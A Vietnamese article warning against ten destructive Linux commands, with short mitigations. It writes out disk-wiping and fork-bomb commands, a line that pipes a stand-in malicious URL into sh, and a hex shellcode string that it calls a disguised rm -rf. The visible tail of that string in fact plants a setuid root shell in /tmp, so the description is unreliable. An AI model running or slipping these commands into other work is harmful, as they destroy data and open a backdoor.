Top 10 các lệnh trong Linux nguy hiểm mà bạn nên tránh sử dụng
Giao diện dòng lệnh là một công cụ mạnh mẽ và tiện dụng để quản lý hệ thống Linux. Nó cung cấp một cách nhanh chóng và linh hoạt để vận hành hệ thống, đặc biệt là khi quản lý các hệ thống không có giao diện đồ họa.
Mặc dù hữu ích trong việc quản lý hệ thống, giao diện dòng lệnh cũng tiềm ẩn những rủi ro. Chạy các lệnh không đúng có thể gây hại và gây tổn hại không thể khôi phục cho hệ thống của bạn. Trong bài viết này sẽ tổng hợp một danh sách các lệnh trong Linux nguy hiểm nhất mà bạn không nên thực hiện trên hệ thống của mình.
Lệnh rm -rf /
Các lệnh trong Linux sẽ có những ngoại lệ, nếu không biết cách sử dụng thì chúng rất nguy hiểm. Lệnh rm là một lệnh Linux được sử dụng để xóa các tệp và thư mục tùy thuộc vào các đối số được sử dụng. Tuy nhiên, cần cẩn thận cực độ khi sử dụng lệnh rm vì một lỗi nhỏ hoặc sơ suất có thể dẫn đến hỏng hệ thống không thể khôi phục được.
Khi được thực thi dưới dạng root với tùy chọn -rf /, lệnh này sẽ xóa đệ quy tất cả các tệp và thư mục trên hệ thống của bạn, bắt đầu từ thư mục gốc (/) là vị trí cao nhất trong cấu trúc Hệ thống Tệp Linux. Tóm lại, lệnh rm -rf / sẽ xóa hoàn toàn hệ thống của bạn và làm hỏng hệ thống không thể khôi phục được.
Một số tùy chọn thường được sử dụng với lệnh rm là:
- Lệnh rm trong Linux được sử dụng để xóa các tệp tin.
- Lệnh rm -r xóa thư mục theo cách đệ quy, kể cả thư mục trống.
- Lệnh rm -f loại bỏ "Tệp chỉ đọc" mà không hỏi.
- Lệnh rm -rf / : Xóa tất cả mọi thứ trong thư mục gốc bằng cách ép buộc.
- Lệnh rm -rf * : Xóa tất cả mọi thứ trong thư mục hiện tại/thư mục làm việc hiện tại bằng cách ép buộc.
- Lệnh rm -rf . : Xóa thư mục hiện tại và các thư mục con bằng cách ép buộc.
Thực tế, khi bạn chạy lệnh như một người dùng thông thường, bạn sẽ nhận được hai cảnh báo trên cửa sổ terminal.
Ví dụ lệnh Linux rm
Để tránh việc xóa tập tin một cách ngẫu nhiên bằng lệnh 'rm', bạn có thể tạo một bí danh (alias) của lệnh 'rm' thành 'rm -i' trong tệp ".bashrc", điều này sẽ yêu cầu xác nhận mỗi lần xóa.
Lệnh :(){:|:&};:
Như đã trình bày trước đó, một fork bomb là một cuộc tấn công DDoS (Denial-of-Service) bằng cách tạo ra một số lượng lớn tiến trình đệ quy một cách không kiểm soát, làm tiêu tốn tài nguyên hệ thống và gây ra sự sụp đổ của hệ thống.
May mắn thay, bạn có thể bảo vệ mình khỏi cuộc tấn công này bằng cách giới hạn số lượng tiến trình chạy bởi người dùng cục bộ khoảng 4000.
Bạn có thể làm điều này bằng cách chạy lệnh:
$ ulimit -S -u 4000
Bạn sau đó có thể xác minh điều này bằng cách sử dụng lệnh:
$ ulimit -u
Tăng giới hạn tệp mở trong Linux
Lệnh > /dev/sda
Chạy một lệnh được theo sau bằng >/dev/sda ghi đè lên khối /dev/sda trên ổ cứng của bạn. Khối này chứa dữ liệu hệ thống tệp và khi bị ghi đè, dẫn đến một hệ thống bị hỏng không thể khôi phục được.
mv folder /dev/null
Một thao tác gây hại khác mà bạn không nên thử là di chuyển một thư mục hoặc tệp tin vào /dev/null. Tệp /dev/null là một loại tệp đặc biệt được biết đến như thiết bị null hoặc "hố đen". Mọi thứ được di chuyển vào /dev/null sẽ bị loại bỏ và hủy hoại.
Lệnh sau di chuyển toàn bộ nội dung của thư mục home của người dùng vào /dev/null, gây hiện tượng loại bỏ tất cả dữ liệu trong thư mục home của người dùng:
# mv /home/user/* /dev/null
wget http://malicious_source -O- | sh
Lệnh wget là một lệnh được sử dụng để tải xuống các tệp từ một máy chủ web hoặc máy chủ tệp. Lệnh trên tải xuống một tập lệnh từ một nguồn độc hại và sau đó thực thi nó.
mkfs.ext3 /dev/sda
Các lệnh trong Linux gây nguy hiểm thì phải kể đến lệnh mkfs. Chúng được sử dụng để tạo một hệ thống tệp (ví dụ như ext2, ext3, ext4, v.v.) trên một thiết bị lưu trữ đã được định dạng, trong hầu hết các trường hợp là một phân vùng của ổ đĩa cứng. Chạy lệnh mkfs trên một phân vùng sẽ xóa toàn bộ dữ liệu được lưu trữ trong đó.
Mặc dù hữu ích trong việc định dạng các phân vùng đĩa, việc định dạng toàn bộ ổ đĩa (như mkfs.ext3 /dev/sda) sẽ làm hỏng hệ thống và để lại nó trong trạng thái không thể khôi phục. Điều này xảy ra vì nó phá hủy toàn bộ các tệp hệ thống cùng với dữ liệu cá nhân của bạn.
Lệnh cũng có thể có dạng khác như được hiển thị dưới đây.
# mkfs.ext4 /dev/sda # mkfs.xfs /dev/sda # mkfs.btrfs /dev/sda
Lệnh > file
Lệnh > file xóa toàn bộ nội dung của một tệp và để lại nó trống rỗng. Nó có nghĩa tương đương với lệnh cat /dev/null > file. Do đó, cần cẩn thận khi sử dụng các toán tử chuyển hướng trong hệ thống Linux.
Dưới đây là một ví dụ minh họa về cách lệnh này ghi đè lên một tệp văn bản. Bạn có thể tưởng tượng được thảm họa mà lệnh này sẽ gây ra khi tệp liên quan là một tệp cấu hình.
Ví dụ về lệnh toán tử chuyển hướng
^foo^bar
Lệnh ^foo^bar có thể nguy hiểm hoặc hữu ích tùy thuộc vào cách nó được thực hiện. Trong khi nó cho phép bạn chỉnh sửa các lệnh đã được thực thi trước đó và chạy lại chúng, nhưng nó có thể gây họa nếu bạn không chú ý đến các thay đổi được thực hiện trước khi chạy lại lệnh.
dd if=/dev/random of=/dev/sda
dd if=/dev/random of=/dev/sda là một lệnh nguy hiểm, các lệnh trong Linux kể trên và cả dd if=/dev/random of=/dev/sda cũng cần tránh sử dụng. Chúng xóa nội dung của khối /dev/sda và viết dữ liệu vô nghĩa ngẫu nhiên vào khối đó. Hệ thống của bạn sẽ bị để lại ở trạng thái không nhất quán và không thể khôi phục được.
Chmod -R 777 /
Mặc dù lệnh này không thể gây ra sự sụp đổ ngay lập tức cho hệ thống Linux của bạn, nhưng chmod -R 777 / gán đệ quy quyền truy cập (đọc, ghi và thực thi) cho tất cả các tệp trên hệ thống Linux của bạn, bắt đầu từ thư mục gốc.
Điều này thực sự làm tiếp xúc tất cả các tệp cấu hình quan trọng và các tệp khác với tất cả người dùng và tạo ra một rủi ro bảo mật lớn cho hệ thống của bạn. Bất kỳ ai có ý đồ xấu có thể can thiệp vào các tệp quan trọng và dễ dàng gây sự cố hệ thống của bạn.
Lệnh the hidden
Lệnh dưới đây không gì khác ngoài lệnh đầu tiên (rm -rf). Ở đây, mã đã được ẩn trong hệ thập lục phân để lừa một người dùng không am hiểu. Chạy mã dưới đây trong cửa sổ terminal của bạn sẽ xóa phân vùng root.
Lệnh này chỉ ra rằng mối đe dọa có thể được ẩn và không thể phát hiện được một cách thông thường. Bạn phải nhận thức rõ về những gì bạn đang làm và kết quả sẽ như thế nào. Đừng biên dịch/chạy mã từ nguồn không rõ.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Lưu ý: Đừng thực thi bất kỳ lệnh nào ở trên trong cửa sổ terminal hoặc shell Linux của bạn hoặc trên máy tính của bạn hoặc máy tính của bạn. Nếu bạn muốn thử nghiệm chúng, hãy chạy chúng trên một máy ảo.
Mọi sự không nhất quán hoặc mất dữ liệu do việc thực thi các lệnh trên sẽ gây hỏng hóc hệ thống của bạn. Vì thế các lệnh trong Linux nguy hiểm vừa kể trên bạn hãy cân nhắc thật kỹ trước khi sử dụng.
Mọi người cũng tìm kiếm: top -h linux, top -c linux, linux gay, rm -d linux